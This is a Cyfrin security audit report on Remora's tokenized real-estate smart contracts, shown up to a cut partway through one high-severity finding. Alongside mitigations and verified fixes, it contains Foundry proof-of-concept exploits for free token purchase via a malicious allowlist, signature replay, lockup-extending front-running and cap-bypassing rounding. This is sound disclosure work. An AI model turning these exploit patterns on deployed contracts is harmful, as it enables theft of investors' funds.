Remora Dynamic Tokens Audit Report

Prepared by Cyfrin

Version 2.1

Lead Auditors

0xStalin

100proof

October 22, 2025

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

4.1 Protocol summary

Remora is developing a Real-World Asset (RWA) protocol that makes institutional-grade real estate accessible to investors worldwide through compliant tokenization via fractional shares. This system allows investors to earn passive rental income through regular disbursements without the complexities and responsibilities associated with traditional property management. Remora implements a two-tier token architecture to ensure regulatory compliance, facilitating participation by both domestic and international investors in tokenized property acquisitions:

- CentralTokens (Tier 1): These tokens are exclusively held by system administrators and serve as the primary governance and control mechanism within the protocol.
- ChildTokens (Tier 2): These tokens are minted and allocated to investors based on their jurisdictional status (domestic or foreign) upon purchase.

Each CentralToken is associated with two ChildTokens:

- One ChildToken is minted for domestic investors.
- The other ChildToken is minted for foreign investors.

For each minted ChildToken (of either type), a corresponding CentralToken is held by the ChildToken contract, establishing a direct counterparty relationship.

Remora facilitates investor payouts through the PaymentSettler contract, which is responsible for:

- Distributing rental income payouts.
- Managing the claiming process for these payouts.
- Processing reimbursements to investors when Remora tokens are designated as burnable.

A recently introduced governance feature enables the migration of investor tokens, including their lockup progress and pending payouts, in scenarios where an investor loses access to their wallet.

5 Audit Scope

The original audit scope at commit 0219ab16f594283ed245fb188ce70e4a9ef987ea was:

```
contracts/Auxillary/HolderFlags.sol
contracts/Compliance/Modules/FiveFiftyRule.sol
contracts/Compliance/ComplianceEscrow.sol
contracts/Compliance/ComplianceManager.sol
contracts/Compliance/ComplianceModule.sol
contracts/CoreContracts/Allowlist.sol
contracts/CoreContracts/PaymentSettler.sol
contracts/CoreContracts/TokenBank.sol
contracts/RWAToken/DynamicTokens/CentralToken.sol
contracts/RWAToken/DynamicTokens/ChildToken.sol
```

A couple of contracts were added and modifications made to existing contracts at commit ffbf28e8fadf5c381878a0dbbedada682d514cf8 during the audit; The changes to the contracts in the below list were reviewed as part of the audit.

```
contracts/Auxillary/SignatureValidator.sol
contracts/Compliance/FiveFiftyRule.sol
contracts/Compliance/ComplianceEscrow.sol
contracts/CoreContracts/Allowlist/Allowlist.sol
contracts/CoreContracts/Allowlist/AllowlistSigner.sol
contracts/CoreContracts/ReferralManager/ReferralManager.sol
contracts/CoreContracts/ReferralManager/ReferralManagerSigner.sol
contracts/CoreContracts/TokenBank/TokenBank.sol
contracts/CoreContracts/TokenBank/TokenBankSigner.sol
```

6 Executive Summary

Over the course of 7 days, the Cyfrin team conducted an audit on the Remora Dynamic Tokens smart contracts provided by Remora. In this period, a total of 23 issues were found.

During the audit, we identified 2 Critical, 4 High, 7 Medium, and 4 Low severity issues, with the remainder being informational and gas optimizations.

The first critical issue pertains to the potential for signatures to be replayed an infinite number of times, compromising the integrity of the system. The second critical issue arises from insufficient access controls on a function that configures the `AllowList` contract, which governs the authorization of signers for signatures.

Two of the four high-severity issues are associated with the new feature enabling users to migrate their existing tokens to a new wallet:

- One issue allows an attacker to disrupt the migration process, causing the progress of existing lockups to be lost, resulting in migrated tokens being subject to extended lockup periods beyond their intended duration
- The other issue results in the loss of migrated payouts due to the absence of a mechanism to claim these payouts

The remaining two high-severity issues were identified in the `FiveFiftyRule` contract:

- One issue involves precision loss during updates to entity allowances, potentially leading to allowance caps being exceeded
- The other issue pertains to the updating of allowances for entities not directly associated with either the sender or receiver of a transfer

The seven medium-severity issues encompass:

- Asymmetric updates to accounting records, leading to inconsistencies

- Inverted validation logic in certain functions
- Incorrect array iteration due to the use of an erroneous length parameter
- Edge cases in the function designed to resolve user-related issues
- Scenarios where user actions between administrative operations could interfere with the most recent admin action
- Incorrect updates to the totalInvestors counter caused by users self-transferring tokens

Post Audit Recommendations

Due to the significant number of Critical & High severity findings it is statistically likely that more serious vulnerabilities still remain which could not be discovered during the 7-day audit window. Hence it is recommended that prior to deploying significant capital on-chain in a production environment, another audit be conducted during which no Critical or High severity findings should be found.

Summary

Project Name	Remora Dynamic Tokens
Repository	remora-dynamic-tokens
Commit	6365a9e97075...
Fix Commit	1800814893f1...
Audit Timeline	October 2nd - October 10th, 2025
Methods	Manual Review

Issues Found

Critical Risk	2
High Risk	4
Medium Risk	7
Low Risk	4
Informational	6
Gas Optimizations	0
Total Issues	23

Summary of Findings

[C-1] `SignatureValidator::setAllowlist` is unrestricted leading to free purchases of tokens	Resolved
[C-2] Signatures on `TokenBank` and `AllowList` can be reused in perpetuity an infinite amount of times	Resolved
[H-1] Pending payouts when resolving an investor are lost because there is no mechanism to claim the resolved payment	Resolved

[H-2] Migrating the existing locks for an investor when is resolved can be gamed causing the existing locks to last longer than they should	Resolved
[H-3] Divide before multiply loses precision in `FiveFiftyRule::_updateEntityAllowance` and leads to caps being exceeded	Resolved
[H-4] Updating the entity allowance when the individual belongs to a group that has multiple catalysts for different entities can result in mistakenly modifying the allowance of entities where the individual is not even part of	Acknowledged
[M-1] Self transfer of all child tokens results in decement of `ChildToken.totalInvestors` storage variable	Resolved
[M-2] After disabling burning with `CentralToken::disableBurning` calling `PaymentSettler::enableBurning` leads to stuck funds	Resolved
[M-3] Resolving a frozen investor causes all the pending payouts for the entire time the investor was frozen to be lost	Resolved
[M-4] Allowance check in `FiveFiftyRule::canTransfer` is inverted	Resolved
[M-5] `FiveFiftyRule::_removeFromEntity` will revert or not work in some cases	Resolved
[M-6] Calling `PaymentSettler::setStableCoin` can lead to inability of holders to claim funds and old stablecoin being trapped in the contract	Resolved
[M-7] Removing Individuals from groups doesn't properly decrement the `groups.numCatalyst` to track the number of catalysts on that group	Resolved
[L-1] Frontrunning call to `ChildToken::resolveUser` and transferring all of the oldUser's `childToken` balance causes the `totalInvestor` counter to be decremented twice	Resolved
[L-2] Minting in between disabling and re-enabling burning leads to stuck funds and dilution of later burners	Resolved
[L-3] `FiveFiftyRule::_updateEntityAllowance` rounds in wrong direction for entity allowance subtraction	Resolved
[L-4] In `FiveFiftyRule` add check that `equity != 0` in functions `createEntity` and `setCatalyst`	Resolved
[I-1] Admin could use `CentralToken::transferFrom` after approval to break 1:1 invariant in child token	Resolved
[I-2] Consider explicitly denying `allowUser` assigning admin privileges to`ChildToken` contracts	Resolved
[I-3] Logic of `FiveFiftyRule::checkCanTransfer` and `FiveFiftyRule::canTransfer` can subtle differ	Acknowledged
[I-4] `TokenBank::setCustodian` should ensure custodian has ADMIN privileges	Resolved
[I-5] Extra validation on `CentralToken::addChildToken` will prevent adding incorrect `ChildToken`	Resolved
[I-6] Consider using struct instead of an array for the domestic and foreign child tokens	Resolved

7 Findings

7.1 Critical Risk

7.1.1 `SignatureValidator::setAllowlist` is unrestricted leading to free purchases of tokens

Description: `SignatureValidator::setAllowlist` is unrestricted.

Since `SignatureValidator` inherited by `ReferralManager` and `TokenBank` this has downstream consequences.

For `TokenBank` in particular this means that

- attacker can call `TokenBank::setAllowlist(maliciousAllowList)` where `maliciousAllowList::isSigner` just returns `true` for the attacker
- They can then spoof a signature by a Remora admin
- call `TokenBank::buyTokenOCP` using the spoofed signature
- `buyTokenOCP` indirectly calls `_buyToken` with `useStableCoin == false`
- thus the entire code path guarded by `if (useStablecoin) {` is skipped and no stablecoins are transferred from the attacker

The same vulnerability could be used to steal all of `ReferralManager`'s bonuses.

Impact: Attacker can

- purchase all remaining central tokens for free
- steal from `ReferralManager` bonuses

Proof of Concept: The PoC below demonstrates the buying of central tokens for free.

Add `MaliciousAllowlist.sol`

```
contract MaliciousAllowlist {

    address maliciousSigner;

    constructor(address _maliciousSigner) {
        maliciousSigner = _maliciousSigner;
    }

    function isSigner(address signer) public view returns (bool) {
        return (signer == maliciousSigner);
    }

}
```

And then add this test to `TokenBankTest.t.sol` (after adding import of `MaliciousSigner`)

```
    function test_cyfrin_buyTokenOCP_for_free() public {
        uint64 TOTAL_TOKENS = 10_000;
        _addCentralToTokenBank(60e6, true, 50_000);

        centralTokenProxy.mint(address(tokenBankProxy), uint64(TOTAL_TOKENS));
        address attacker = getDomesticUser(2);

        (address attackerSigner, uint256 sk) = makeAddrAndKey("BUY_SIGNER");


        /*
         * Attacker sets a malicious Allowlist and signs the buy instead of a Remora Admin
         */
        vm.startPrank(attackerSigner);
        MaliciousAllowlist maliciousAllowlist = new MaliciousAllowlist(attackerSigner);
```

```
        tokenBankProxy.setAllowlist(address(maliciousAllowlist));
        bytes32 typeHash = keccak256("BuyToken(address investor, address token, uint256 amount)");
        bytes32 structHash = keccak256(abi.encode(typeHash, attacker, address(centralTokenProxy),
        ↪  uint256(TOTAL_TOKENS)));
        bytes32 digest = MessageHashUtils.toTypedDataHash(tokenBankProxy.getDomainSeparator(),
        ↪  structHash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(sk, digest);
        bytes memory sig = abi.encodePacked(r, s, v);
        vm.stopPrank();

        /*
         * Now attacker buys all the tokens using the signature they created
         */
        vm.prank(attacker);
        tokenBankProxy.buyTokenOCP(attackerSigner, address(centralTokenProxy), TOTAL_TOKENS, sig);
        // attacker receives domestic child tokens
        assertEq(d_childTokenProxy.balanceOf(attacker), TOTAL_TOKENS);
    }
```

Recommended Mitigation: Since `SignatureValidator` is an abstract contract, `setAllowlist` should be an internal function.

```
-    function setAllowlist(address allowlist) external {
+    function _setAllowlist(address allowlist) internal {
        if (allowlist == address(0)) revert InvalidAddress();
        SVStorage storage $ = _getSVStorageStorage();
        if ($._allowlist != allowlist) {
            $._allowlist = allowlist;
            emit AllowlistSet(allowlist);
        }
    }
```

`TokenBank` should then expose `setAllowlist` as an external function with the `restricted` modifier

```
+   function setAllowlist(address signer) external restricted {
+       super._setAllowlist(signer);
+   }
```

Remora: Fixed at commit cc447da

Cyfrin: Verified. `setAllowlist()` is now restricted.

7.1.2 Signatures on `TokenBank` and `AllowList` can be reused in perpetuity an infinite amount of times

Description: `TokenBank` allows buyers to purchase tokens by getting an off-chain signature, which specifies the token and the amount they are allowed to buy. When buying using a signature, the buyer doesn't have to pay on-chain for the purchase (As that is handled off-chain). The problem is that the `hash` of the signature doesn't include a `nonce` to prevent the same signature from being reused to process multiple purchases.

- The `hash` only includes the `investor`, `token`, and `amount`, which leads to the contract not being able to determine if a signature has already been used or not.

```
//TokenBank.sol//
    // Handle payment off chain, including referral discount
    function buyTokenOCP(
        address signer,
        address tokenAddress,
        uint256 amount,
        bytes memory signature
    ) external nonReentrant {
        ...
        if (!verifySignature(signer, sender, tokenAddress, amount, signature))
```

```
            revert InvalidSignature();
        //@audit => No payment of stablecoin!
        _buyToken(address(0), sender, tokenAddress, amount, false);
    }

    function verifySignature(
        address signer,
        address investor,
        address token,
        uint256 amount,
        bytes memory signature
    ) internal view returns (bool result) {
//@audit-issue => No nonce on the hash of the signature
@>      bytes32 structHash = keccak256(
            abi.encode(
                BUY_TOKEN_TYPEHASH,
                investor,
                token,
                amount
        ));

        result = _verifySignature(signer, _hashTypedDataV4(structHash), signature);
    }
```

This same problem is present in the `AllowList` contract, which allows users to reuse signatures to regain their permissions if they are removed.

Impact: On `TokenBank`:

- Buyers can reuse signatures to purchase infinite tokens by paying the cost to obtain a single signature

On `AllowList`:

- user replays selfAllowUser signature to add themselves to the allow list again.
- A malicious admin who was removed as an admin can replay a signature after he was removed to re-enable themselves.

Proof of Concept: Add the next PoC to `TokenBankTest.t.sol`:

```
    function test_cyfrin_buyTokenOCP_offchain_ReUseSignature() public {
        uint256 TOKENS_TO_PURCHASE = 1;
        _addCentralToTokenBank(60e6, true, 50_000);
        // seed inventory
        centralTokenProxy.mint(address(tokenBankProxy), uint64(5));
        address to = getDomesticUser(2);
        // register authorized signer in allowlist
        (address signer, uint256 sk) = makeAddrAndKey("BUY_SIGNER");
        bytes4[] memory asel = new bytes4[](1);
        asel[0] = bytes4(keccak256("addAuthorizedSigner(address)"));
        accessMgrProxy.setTargetFunctionRole(address(allowListProxy), asel, ADMIN_TOKEN_ID);
        accessMgrProxy.grantRole(ADMIN_TOKEN_ID, address(this), 0);
        allowListProxy.addAuthorizedSigner(signer);
        // build EIP-712 signature for BuyToken(investor, token, amount)
        bytes32 typeHash = keccak256("BuyToken(address investor, address token, uint256 amount)");
        bytes32 structHash = keccak256(abi.encode(typeHash, to, address(centralTokenProxy),
        ↪  TOKENS_TO_PURCHASE));
        bytes32 digest = MessageHashUtils.toTypedDataHash(tokenBankProxy.getDomainSeparator(),
        ↪  structHash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(sk, digest);
        bytes memory sig = abi.encodePacked(r, s, v);
        vm.startPrank(to);
        tokenBankProxy.buyTokenOCP(signer, address(centralTokenProxy), TOKENS_TO_PURCHASE, sig);
        tokenBankProxy.buyTokenOCP(signer, address(centralTokenProxy), TOKENS_TO_PURCHASE, sig);
```

```
        tokenBankProxy.buyTokenOCP(signer, address(centralTokenProxy), TOKENS_TO_PURCHASE, sig);
        tokenBankProxy.buyTokenOCP(signer, address(centralTokenProxy), TOKENS_TO_PURCHASE, sig);
        tokenBankProxy.buyTokenOCP(signer, address(centralTokenProxy), TOKENS_TO_PURCHASE, sig);
        // to receives domestic child tokens
        assertEq(d_childTokenProxy.balanceOf(to), 5);
        vm.stopPrank();
    }
```

Recommended Mitigation: Consider adding a `nonce` to the hash that is signed. Refer to these articles to get more familiar with signature replay attacks

- Mitigate Against Nonce Replay Attacks
- Signature Replay Attacks

Remora: Fixed at commit 4f73c1d

Cyfrin: Verified. A nonce has been added to the digestHash that is used to validate the signature.

7.2 High Risk

7.2.1 Pending payouts when resolving an investor are lost because there is no mechanism to claim the resolved payment

Description: When resolving a user who loses access to their account, the `ChildToken::resolveUser` function migrates balances, locks, and frozen tokens to a new address, ensuring the investor retains their previous balances. Even the pending payouts are calculated and assigned to the new address with the intention of allowing the investor to claim those pending payouts from the new account.

The problem is that no function allows an account to claim the calculated `resolvedPay`, which means the pending payouts for the old addresses are indeed migrated to the new addresses; however, the contracts don't offer a mechanism for investors to claim such payouts.

```
///DividendManager.sol//
    function _resolvePay(address oldAddress, address newAddress) internal {
//@audit-issue => no function allows the `newAddress` to claim the payout of the `oldAddress` saved on
↪  the `_resolvedPay` mapping associated to the `newAddress`
@>      _getHolderManagementStorage()._resolvedPay[newAddress] =
↪  SafeCast.toUint128(_claimPayout(oldAddress));
        emit PaymentResolved(oldAddress, newAddress);
    }
```

Additionally, it is theoretically possible that payouts for an old address are lost if the newAddress is an address with an existing `resolvedPay` balance. The `DividendManager::_resolvePay` function assigns the calculated payout of the old address, regardless of whether the `resolvedPay` mapping has any value in it.

Impact: Pending payments for investors who lost access to their accounts and had their balances transferred to a new account via the `ChildToken::resolveUser` are lost.

Recommended Mitigation: Consider implementing a function that allows the new addresses to claim the calculated `resolvedPay` of the old addresses.

Remora: Fixed at commit 1a69894.

Cyfrin: Verified. Payouts of resolved users are claimable by the `newAddress` via the `ChildToken::claimPayout`

7.2.2 Migrating the existing locks for an investor when is resolved can be gamed causing the existing locks to last longer than they should

Description: When resolving an investor, the existing locks on the `oldAddress` are migrated to the `newAddress` by appending the locks from the `oldAddress` right at the end of the existing locks on the `newAddress`.

```
    function _newAccountSameLocks(address oldAddress, address newAddress) internal {
        ...
//@audit => locks from `oldAddress` are appended after the existing locks of the `newAddress`
        uint16 len = oldData.endInd - oldData.startInd;
        for (uint16 i = 0; i < len; ++i) {
@>          newData.tokenLockUp[newData.endInd++] = oldData.tokenLockUp[
                oldData.startInd + i
            ];
        }
        newData.tokensLocked += oldData.tokensLocked;

        // reset old user data
        delete $._userData[oldAddress];
    }
```

The algorithm to unlock tokens as the locks surpass the `lockUpTime` and the algorithm to calculate the available tokens both stop iterating over the user's `tokenLockUps` as soon as a lock-up that has not expired is found.

```
//LockUpManager.sol//
```

```
    function _unlockTokens(
        address holder,
        uint256 amount,
        bool disregardTime // used by admin actions
    ) internal returns (uint32 amountUnlocked) {
        ...
        for (uint16 i = userData.startInd; i < len; ++i) {
            // if not disregarding time, then check if the lock up time
            // has been served; if not break out of loop
//@audit-info => loop exits as soon as a lock that has not reached the lockUpTime is found
            if (
                !disregardTime &&
@>              curTime - userData.tokenLockUp[i].time < lockUpTime
            ) break;

            // if here means this lockup has been served & can be unlocked
            uint32 curEntryAmount = userData.tokenLockUp[i].amount;

            ...
        }

function availableTokens(
    address holder
) public view returns (uint256 tokens) {
    ...
    for (uint16 i = userData.startInd; i < len; ++i) {
        LockupEntry memory curEntry = userData.tokenLockUp[i];
        if (curTime - curEntry.time >= lockUpTime) {
            tokens += curEntry.amount;
//@audit-info => loop exits as soon as a lock that has not reached the lockUpTime is found
        } else {
@>          break;
        }
    }
}
        ...
    }
```

The combination of how the tokens are migrated when resolving an investor and the algorithm's short-circuit as soon as a lock-up that has not expired is found, allows for a griefing attack where the tx to resolve an investor is frontran and 1 ChildToken is donated to the `newAddress`, the `ChildToken::resolveUser` function will migrate tokens to.

- The donation will create a lock on the `newAddress` for the entire `lockUpDuration`. This lock will be the first lock of the `newAddress`, which means all the existing tokens from the `oldAddress` will be appended **after** that new lock. In other words, all existing locks at the `oldAddress` will remain locked until the new lock reaches the `lockUpDuration`, regardless of whether the `lockUpDuration` for those locks has already been met.

Impact: Existing lock durations can be gamed, forcing the locks on the newAddress to last longer than they should

Proof of Concept: Add the next PoC to `ChildTokenAdminTest.t.sol` test file. The PoC demonstrates:

1. Resolving users should preserve the existing locks on the `oldUser` (When the attack is not performed)
2. The migrated tokens on the `newUser` get locked for a longer duration if the attack is performed.

```
    function test_GrieffAttacToExtendLocksWhenResolving() public {
        uint32 DEFAULT_LOCK_TIME = 365 days;
        uint32 QUART_LOCKTIME = DEFAULT_LOCK_TIME / 4;

        address oldUser = getDomesticUser(1);
        address newUser = getDomesticUser(2);
        address extraInvestor = getDomesticUser(3);
```

```
centralTokenProxy.mint(address(this), uint64(2));
centralTokenProxy.dynamicTransfer(extraInvestor, 2);

vm.warp(DEFAULT_LOCK_TIME);

centralTokenProxy.mint(address(this), uint64(4));
centralTokenProxy.dynamicTransfer(oldUser, 1);

// Distribute payout!
IERC20(address(stableCoin)).approve(address(paySettlerProxy), type(uint256).max);
paySettlerProxy.distributePayment(address(centralTokenProxy), address(this), 300); // 300 USD(6)
↪  total

vm.warp(block.timestamp + QUART_LOCKTIME);
centralTokenProxy.mint(address(this), uint64(1));
centralTokenProxy.dynamicTransfer(oldUser, 1);

vm.warp(block.timestamp + QUART_LOCKTIME);
centralTokenProxy.mint(address(this), uint64(1));
centralTokenProxy.dynamicTransfer(oldUser, 1);

vm.warp(block.timestamp + QUART_LOCKTIME);
centralTokenProxy.mint(address(this), uint64(1));
centralTokenProxy.dynamicTransfer(oldUser, 1);

uint256 snapshot1 = vm.snapshot();
    //@audit-info => Validate each 3 months a new token would've been unlocked!
    for(uint8 i = 1; i == 4; i++) {
        vm.warp(block.timestamp + (QUART_LOCKTIME * i));
        assertEq(d_childTokenProxy.availableTokens(oldUser),i);
    }
vm.revertTo(snapshot1);


//@audit-info => Resolving the oldUser without the grieffing attack being executed!
d_childTokenProxy.resolveUser(oldUser, newUser);

//@audit-info => Validate each 3 months a new token would've been unlocked, even after the
↪  resolve, locks remains as they are
for(uint8 i = 1; i == 4; i++) {
    vm.warp(block.timestamp + (QUART_LOCKTIME * i));
    assertEq(d_childTokenProxy.availableTokens(oldUser),i);
}


vm.revertTo(snapshot1);

assertEq(d_childTokenProxy.availableTokens(oldUser),0);

//@audit => Frontruns resolveUser
vm.prank(extraInvestor);
d_childTokenProxy.transfer(newUser, 1);

d_childTokenProxy.resolveUser(oldUser, newUser);

//@audit-issue => Because of the donation prior to resolveUser() was executed, the locks for the
↪  migrated tokens are messed up and all the tokens are extended until the lock of the donated
↪  token is over!
//@audit-issue => Migrated tokens from oldUser are locked for an entire year
vm.warp(block.timestamp + QUART_LOCKTIME);
assertEq(d_childTokenProxy.availableTokens(newUser),0);
```

```
        vm.warp(block.timestamp + QUART_LOCKTIME);
        assertEq(d_childTokenProxy.availableTokens(newUser),0);

        vm.warp(block.timestamp + QUART_LOCKTIME);
        assertEq(d_childTokenProxy.availableTokens(newUser),0);

        //@audit-issue => Only until the donated tokens is unlocked, so are all the migrated tokens
        vm.warp(block.timestamp + QUART_LOCKTIME);
        assertEq(d_childTokenProxy.availableTokens(newUser), 5);
    }
```

Recommended Mitigation: Consider refactoring the logic to migrate the locks from the `oldAddress` to the `newAddress`, so that they are not simply appended to the end of the existing locks. Instead, iterate over the existing locks and compare the `tokenLockup.time` to reorder them so that the times of all the locks are correctly ordered sequentially based on the time. This will allow the existing locks on the `oldAddress` to correctly release the tokens on the `newAddress` as soon as they expire.

Remora: Fixed at commit 3d6d874.

Cyfrin: Verified. Refactored `ChildToken::resolveUser` to transfer the signatures from the `oldAddress` to the `newAddress` instead of requiring the `newAddress` to have signed all the documents before resolving the `oldAddress`. This change prevents the `newAddress` from receiving any `ChildToken`, therefore, there won't be any existing locks on the `newAddress`.

7.2.3 Divide before multiply loses precision in `FiveFiftyRule::_updateEntityAllowance` and leads to caps being exceeded

Description: The function `_updateEntityAllowance` contains

```
(REMORA_PERCENT_DENOMINATOR / aData.equity) * amount
```

This should be `REMOTE_PERCENT_DENOMINATOR * amount / aData.equity` otherwise precision loss occurs.

Since `_updateEntityAllowance` is used to calculate the amount by which the allowance should be reduced by when `add == false` this issue actually results in a remaining allowance that is too high.

Impact: When `add == true` the new allowance will be significantly lower than it should be, which will just be frustrating to investors. When `add == false` the new allowance can be significantly higher than it should be, which means that investors that individually buy tokens *and* are part of an entity can exceed their cap.

Proof of Concept:

1. First fix the bug in `canTransfer` because it obscures this bug

```
@@ -505,16 +505,16 @@ contract FiveFiftyRule is UUPSUpgradeable, AccessManagedUpgradeable {
         // to side changes
         if (to != address(0)) {
             IndividualData storage iTo = individualData[to];
-
+

             if (iTo.isEntity) { // if entity
-                if (entityData[to].allowance <= amount) {
-                    entityData[to].allowance -= SafeCast.toUint64(amount);
+                if (entityData[to].allowance >= amount) {
+                    entityData[to].allowance -= SafeCast.toUint64(amount);

                     iTo.lastBalance += SafeCast.toUint64(amount);
                     emit FiveFiftyApproved(from, to, amount);
                     return true;
                 } else revert ();
```

2. Now add the file below and run the test. In the console output you will see:

```
*** INVARIANT VIOLATED ***
  exposure:   1200001000000
  cap amount: 1000000000000
```

The file's source code is:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import "forge-std/console2.sol";
import {RemoraTestBase} from "../RemoraTestBase.sol";
import {FiveFiftyRule} from "../../../contracts/Compliance/FiveFiftyRule.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";


contract FiveFiftyRule_RoundingPoC is RemoraTestBase {
    FiveFiftyRule internal fiveFiftyRule;

    // helpers (same as your math discussion)
    uint256 constant DENOM = 1_000_000;

    function setUp() public override {
        RemoraTestBase.setUp();

        // Deploy rule and initialize
        fiveFiftyRule = FiveFiftyRule(address(new ERC1967Proxy(address(new FiveFiftyRule()), "")));
        fiveFiftyRule.initialize(address(accessMgrProxy), 0);

        // Allow our test to call restricted functions on fiveFiftyRule and child
        bytes4[] memory sel = new bytes4[](1);
        sel[0] = FiveFiftyRule.addToken.selector;
        accessMgrProxy.setTargetFunctionRole(address(fiveFiftyRule), sel, ADMIN_TOKEN_ID);
        accessMgrProxy.grantRole(ADMIN_TOKEN_ID, address(this), 0);

        bytes4[] memory cs = new bytes4[](2);
        cs[0] = bytes4(keccak256("setFiveFiftyCompliance(address)"));
        cs[1] = bytes4(keccak256("setLockUpTime(uint32)"));
        accessMgrProxy.setTargetFunctionRole(address(d_childTokenProxy), cs, ADMIN_TOKEN_ID);

        // Wire fiveFiftyRule to domestic child; remove lockup
        d_childTokenProxy.setFiveFiftyCompliance(address(fiveFiftyRule));
        d_childTokenProxy.setLockUpTime(0);
    }

    function test_RoundingDown_Allows_ExtraEntityToken_ExceedingLookThroughCap() public {
        // --------------------------
        // Parameters we use for the PoC
        // --------------------------
        // Total supply: large, so we can transfer a very large amount to the catalyst without violating
        ↪  the cap.
        // We'll target a 50% cap for the catalyst (to leave room for a huge direct transfer).
        uint64 totalSupply = 10_000_000;
        uint32 capPercent = 100_000;
        uint64 capAmountMicros = totalSupply * capPercent;

        uint64 equityMu = 333_334;
        uint256 ENTITY_BAL = 1_500_000;
        uint256 CATALYST_BAL = 700_000;

        centralTokenProxy.mint(address(this), totalSupply);
        fiveFiftyRule.addToken(address(centralTokenProxy));
```

```
        // Choose a catalyst (a domestic user) and an entity address
        address entity = getDomesticUser(0);
        address catalyst = getDomesticUser(1);
        address otherInvestor = getDomesticUser(2); // will never directly own any tokens in this
        ↪  example
        address[] memory investors = new address[](2);
        investors[0] = catalyst;
        investors[1] = otherInvestor;

        bytes4[] memory psel = new bytes4[](1);
        psel[0] = bytes4(keccak256("setMaxPercentIndividual(address,uint32)"));
        accessMgrProxy.setTargetFunctionRole(address(fiveFiftyRule), psel, ADMIN_TOKEN_ID);
        fiveFiftyRule.setMaxPercentIndividual(catalyst, capPercent);


        bytes4[] memory esel = new bytes4[](2);
        esel[0] = bytes4(keccak256("createEntity(address,address,uint64,uint64,address[])"));
        esel[1] = bytes4(keccak256("setCatalyst(bool,address,address,uint64,uint64)"));
        accessMgrProxy.setTargetFunctionRole(address(fiveFiftyRule), esel, ADMIN_TOKEN_ID);


        uint64 calculatedAllowance = SafeCast.toUint64(totalSupply * 1e6 * capPercent / equityMu);
        console2.log("calculatedAllowance: %s", calculatedAllowance);

        // Check that allowance is correct
        uint256 userProportion = calculatedAllowance * equityMu / 1e6;
        assertEq(userProportion, capAmountMicros - 1);

        uint256 exposure = uint256(ENTITY_BAL)* 1e6 * equityMu / 1e6 + CATALYST_BAL * 1e6;

        console2.log("\n\n*** INVARIANT VIOLATED ***");
        console2.log("exposure:   %s", exposure);
        console2.log("cap amount: %s\n\n", capAmountMicros);
        assertGe(exposure, capAmountMicros);



        fiveFiftyRule.createEntity(entity, catalyst, equityMu, calculatedAllowance, investors);
        centralTokenProxy.dynamicTransfer(entity, ENTITY_BAL);
        logEntity("0", entity);
        logIndividual("entity 0", entity);
        logIndividual("catalyst 0", catalyst);

        centralTokenProxy.dynamicTransfer(catalyst, CATALYST_BAL);
        logEntity("1", entity);
        logIndividual("entity 1", entity);
        logIndividual("catalyst 1", catalyst);

    }

    function logEntity(string memory s, address entity) internal view {
        FiveFiftyRule.EntityData memory ed = fiveFiftyRule.testing_entityData(entity);
        console2.log("---  EntityData %s ---", s );
        console2.log("catalyst:     %s", ed.catalyst);
        console2.log("equity:       %s", ed.equity);
        console2.log("allowance:    %s", ed.allowance);
    }

    function logIndividual(string memory s, address individual) internal view {
        FiveFiftyRule.IndividualData memory id = fiveFiftyRule.testing_individualData(individual);
        console2.log("---  IndividualData %s ---", s);
        console2.log("isEntity:         %s", id.isEntity);
```

```
        console2.log("numCatalyst:      %s", id.numCatalyst);
        console2.log("groupId:          %s", id.groupId);
        console2.log("customMaximum:    %s", id.customMaximum);
        console2.log("lastBalance:      %s", id.lastBalance);

    }
}
```

Recommended Mitigation: Change the order of operators to `REMOTE_PERCENT_DENOMINATOR * amount / aData.equity`

Remora: Fixed at commit de9a89a

Cyfrin: Verified. Update order of operations, now, first multiply then divide.

7.2.4 Updating the entity allowance when the individual belongs to a group that has multiple catalysts for different entities can result in mistakenly modifying the allowance of entities where the individual is not even part of

Description: The problem is that entities that have nothing to do with either the sender or the receiver can end up getting their allowances modified or causing the tx to revert.

The system allows to register:

- Individuals who belong to at most one group, or none.
- Groups with multiple individuals
- Entities with multiple individuals but only one catalyst.
- Each group can have multiple individuals who are catalysts for different entities
- Individuals in one group don't necessarily belong to all the same entities that the rest of the individuals belong to
- One investor can be the catalyst for multiple entities.

This combination of possibilities allows for a scenario as follows:

Entity	Investors	Catalyst
EntityA	InvestorA, InvestorB	InvestorB
EntityB	InvestorB, InvestorC	InvestorB
EntityC	InvestorA, InvestorC	InvestorA
EntityD	InvestorB, InvestorC	InvestorB

Group	Investors	groups.numOfCatalysts
GroupA	InvestorA, InvestorB	4
GroupB	InvestorC, InvestorD	0

Investors	individualData.numOfCatalysts
InvestorA	1
InvestorB	3

Investors	individualData.numOfCatalysts
InvestorC	0
InvestorD	0

Using the previous configuration, a transfer `from` InvestorA will end up affecting entityB and entityD because InvestorA and investorB are in the same group, and InvestorB is the catalyst on EntityB and EntityD (where InvestorC and InvestorD are part of and have nothing to do with InvestorA).

The issue occurs in these blocks of code on the `FiveFiftyRule::canTransfer` function:

```
    function canTransfer(address from, address to, uint256 amount) external returns (bool) {
        ...

            if (iFrom.isEntity) {
                entityData[from].allowance += SafeCast.toUint64(amount);
//@audit-info => If `from` is on a group and that group has multiple catalysts!
            } else if (gId != 0 && groups[gId].numCatalyst != 0) {
                //@audit-info => iterates over ALL the individuals of the group `from` belongs to!
                uint256 len = groups[gId].individuals.length;
                for (uint256 i; i<len; ++i) {
                    address ind = groups[gId].individuals[i];
//@audit-issue => ENTERS If the current individual of the group (doesn't matter if this individual is
↪  the `from`) is a catalyst on at least one entity
@>                  if (individualData[ind].numCatalyst != 0)
                        _updateEntityAllowance(true, ind, amount);
                }
            }
        ...

